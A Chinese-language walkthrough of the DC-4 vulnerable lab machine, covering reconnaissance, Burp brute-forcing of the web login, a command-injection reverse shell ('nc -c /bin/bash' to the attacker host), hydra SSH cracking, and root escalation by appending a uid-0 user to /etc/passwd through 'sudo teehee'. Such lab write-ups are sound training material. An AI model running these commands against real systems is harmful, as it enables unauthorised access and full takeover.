DC4靶场通关记录
搭建环境
- 直接虚拟机导入DC4靶场即可,如果报错直接重试;
- 设置kali于DC4靶场的网络连接为统一方式;
- 同时说明一下DC4靶场同DC3靶场相同,都只有一个flag。
信息收集
确定目标IP
使用arp-scan进行扫描,排除所有已知的IP,确定目标靶机的IP,使用以下命令
arp-scan -l
确定目标端口及服务
使用nmap对靶机进行扫描,确定靶机开放端口,以及端口提供的服务,使用以下命令
nmap -sC -sV -p- -A 192.168.223.130
根据扫描结果可知
- 该靶机开放了22和80两个端口
- 22端口提供了ssh服务
- 80端口提供了http服务
指纹识别
使用whatweb对靶场进行指纹识别,使用以下命令
whatweb -v 192.168.223.130
根据扫描的结果,发现并没有得到关于的CMS信息。
目录爆破
使用dirb对靶机进行目录爆破,扫描敏感目录,使用以下命令
dirb http://192.168.223.130
根据扫描的结果,得到相关敏感目录
- http://192.168.223.130/css/
- http://192.168.223.130/images/
- http://192.168.223.130/index.php
- http://192.168.223.130/css
获取shell
burp密码爆破
- 根据信息收集内容,靶机有http服务,尝试访问靶机IP
- 访问靶机IP成功,是网站登录页面,尝试输入随机的用户名密码测试,无报错信息,则使用burp抓包尝试密码爆破
- 设置浏览器的代理为burp的代理,并burp开启拦截,网站重新提交登录信息
- burp抓到登录信息,将抓到的数据报发送到Intruder模块中
- 在数据包中添加payload位
- 设置payload,添加密码字典尝试攻击
- 同时再发送一个数据包到Intruder中,先选择集束炸弹的攻击类型,同时设置用户名或密码两个payload位置,指定用户名和密码字典后进行攻击。
再次设置攻击是由于不确定用户名,并提高破解效率
。 - 一个payload位的优先攻击结束,进行查看,根据长度,请求判断出happy是密码
- 尝试使用该密码,登陆成功
admin:happy
使用AWVS扫描器进行扫描
- 设置IP目标,录制登录脚本,进行扫描
- 扫描结果中有两个高危漏洞:
- 查看高危漏洞
- 两个高危漏洞的url都一样,登陆成功后的点击按钮跳转后的页面的url与之相同
利用命令执行漏洞获得shell
- 尝试抓包更改请求数据包,使用nc形成一个反弹shell,使用以下命令
nc -c /bin/bash 192.168.223.129 8888
- 在kail上开启监听,使用以下命令
nc -lvp 8888
- 开启监听后放行请求数据包,获得反弹shell
提权操作
获取ssh服务的账号密码
尝试提权发现jim的密码文件
- 使用python获得交互性shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
- 查看当前权限,以及当前目录
whoami
pwd
- 查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
- 查看特殊的文件,是jim用户的权限,剩余一个是目录,另一个无权限
/home/jim/test.sh
- 进入目录查看,有一个密码备份文件,查看备份内容并将内容复制保存到文档内
- 尝试使用hydra进行ssh密码破解
hydra -l jim -P jp 192.168.223.130 ssh
通过密码破解得知:
jim:jibril04
登陆ssh进行提权
- 登陆ssh
ssh jim@192.168.223.130
输入密码
- 查看当前权限,以及当前目录
whoami
pwd
- 进入刚才那个特殊文件的位置
cd /home/jim
- 查看刚刚没权限查看的文件,是一封邮件
cat mbox
- 查找相关的文件
find / -name “*mail*” 2>/dev/null
输出文件太多,先使用以下命令
find / -name “mail” 2>/dev/null
- 对这四个文件依次查看,发现
/var/mail
中有两个文件,依次查看后 - 其中的jim文件是一份邮件,有用户名和密码,可能是ssh的用户
- 尝试切换用户
sudo使用teehee提权
- 尝试查看是否有sudo提权方法
sudo -l
- 使用teehee提权
- echo “ligth:$(openssl passwd light):0:0:/home:/bin/bash” | sudo teehee -a /etc/passwd
- su light
flag
- 进入root下,查看flag
cd /root
ls
cat flag.txt
总结
- 扫描器AWVS的使用
- 命令执行漏洞的利用:
使用反弹shell命令获取webshell
- 使用hydra爆ssh的用户名和密码:
hydra -l 用户名 -P 密码字典 ip ssh
- sudo提权teehee提权方法:
1. echo "ligth:$(openssl passwd light):0:0:/home:/bin/bash" | sudo teehee -a /etc/passwd
2. su light